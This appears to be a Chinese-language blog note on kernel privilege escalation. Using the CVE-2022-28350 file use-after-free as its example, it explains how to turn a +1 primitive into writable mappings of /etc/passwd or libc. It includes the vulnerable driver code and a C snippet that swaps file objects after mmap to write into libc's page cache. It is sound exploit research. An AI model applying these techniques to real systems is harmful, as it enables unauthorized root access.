Table of Contents
TLDR
By flipping the R/W bit in the page table entry of a mapped file (e.g.,
/etc/passwd), you can gain write access to the file.
不同于 dirtypage table 的最经典的方法,直接去操作 pte 记录的物理地址,当如果只有 +1 的原语的时候,可以通过修改 +1 操作修改 pte 的 RW flags 来把本来不可写的文件改为可写的(/etc/passwd)从而提权。
经典的 +1 原语就是 file 结构的 dup 操作,dup 时 file 的计数增加。
文章里面最经典的漏洞就是 CVE-2022-28350,效果是 file 对象在仍被 fd 引用时被提前 fput释放了,在 file struct 释放之后,用户态的 fd 依然指向它,可以通过writev 写东西。
static int kbase_kcpu_fence_signal_prepare(...) { ... sync_file = sync_file_create(fence_out); // 创建 file 对象 ... fd = get_unused_fd_flags(O_CLOEXEC); // 拿到一个空闲 fd 槽 ... fd_install(fd, sync_file->file); // fd 与 file 对象绑定——此刻起对用户可见 fence.basep.fd = fd; ... if (copy_to_user(u64_to_user_ptr(fence_info->fence), &fence, sizeof(fence))) { ret = -EFAULT; goto fd_flags_fail; // copy_to_user 失败 → 走错误清理 } return 0;
fd_flags_fail: fput(sync_file->file); // 释放 file 对象——但 fd 还在用户手里file_create_fail: dma_fence_put(fence_out); return ret;}传统的 file structure UAF 的利用思路
在检查权限和写入的时间间隙替换文件
writev() 在内核里依次做三件事:检查权限 → 拷贝数据 → 写到文件。如果检查权限时 file struct 指向一个普通文件 /tmp/test,而写入新文件时 struct file 被替换(释放后重新分配)成特权文件 /etc/crontab,写入的内容就会落在本来没有权限写的文件上面。
比如这样的一个流程
- 打开 fd
/tmp/test并且writev() - 检查权限
- 释放 file struct,喷射
/etc/crontab占用对象
- 释放 file struct,喷射
- 往 fd 写入文件
file->f_op->write()写入特权文件
关键就是用一个类似 TOCTOU 的思路,在短暂的时间窗口快速释放和重新用特权文件的 file struct 占用对象。然而替换文件的窗口特别短暂,需要靠 userfaultfd、FUSE、inode 锁竞争的方式扩大窗口。而且android 系统将特权文件存储在了只读文件系统中。
mmap 后替换文件打 page cache
write(fd):每次调用都检查当前对象的 f_mode,中间的窗口太小了。而 mmap 映射文件之后再写入,时间窗口就大多了,中间可以随意替换UAF的file struct。
mmap(addr, len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0) 把 fd 指向的文件内容映射到进程地址空间,写入直接进 page cache 里面。全程只会在 mmap 的时候有一个一次性的检查,之后写的时候就直接往 pagecache 里面写,不用再检查了:
// do_mmap():共享 + 可写 → 档案夹必须带 FMODE_WRITEif ((prot & PROT_WRITE) && !(file->f_mode & FMODE_WRITE)) return -EACCES;大概的流程是这个样子:
int fd = socket(AF_LOCAL, SOCK_DGRAM, 0);fput(fd); // ① 漏洞释放对象,fd 悬空usleep(500);int mfd = memfd_create("foobar", 0); // ② memfd 替身占位void *rw_map = mmap(NULL, libc_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); // ③ 检查时对象是 memfd → 通过close(fd);close(mfd); // ④ 再次释放替身usleep(500);int lfd = open(LIBC_PATH, O_RDONLY); // ⑤ libc 档案夹入主uint32_t foobar;for (size_t i = 0; i < libc_size; i += PAGE_SIZE) { foobar = *(uint32_t *)&libc_map[i]; // 私有副本(标准答案) foobar = *(uint32_t *)&rw_map[i]; // 一致 → 换对象成功}memcpy(rw_map, "booom", 5); // ⑥ 写进 libc 的 page cache在 mmap 接受检查的时候,文件是可写的
fdtable[fd] ──┐fdtable[mfd] ──┼──► struct file (memfd, writable, f_count=3) ◄── vm_file (VMA of rw_map)在 libc 打开的后写入,即使 f_mode 是 read only 也没有人再检查了
fdtable[lfd] ────► struct file (libc.so, read-only) ◄── vm_file (VMA of rw_map)虽然这种方法不需要什么竞争,但是安卓上面不好用。
使用 cross-cache attack
回收之后用数据页占据,伪造 file 结构体。但是这种方法伪造之前需要泄漏内核的地址,而且 cross cache 现在不好搞....
dirty pageflags
用 dirty pagetable 的思路伪造 pte 的话,原文里面的方法稍稍复杂,ptr-yudai 的方案就简洁多了:两次 +1 让 RW位变成 1,本来不能写的页就可以写入了。
bit7 bit6 bit5 bit4 bit3 bit2 bit1 bit0 PAT D A PCD PWT U/S R/W Pbefore: 0 0 1 0 0 1 0 1 <- R/W=0, P=1after: 0 0 1 0 0 1 1 1 <- R/W=1, P 仍为 1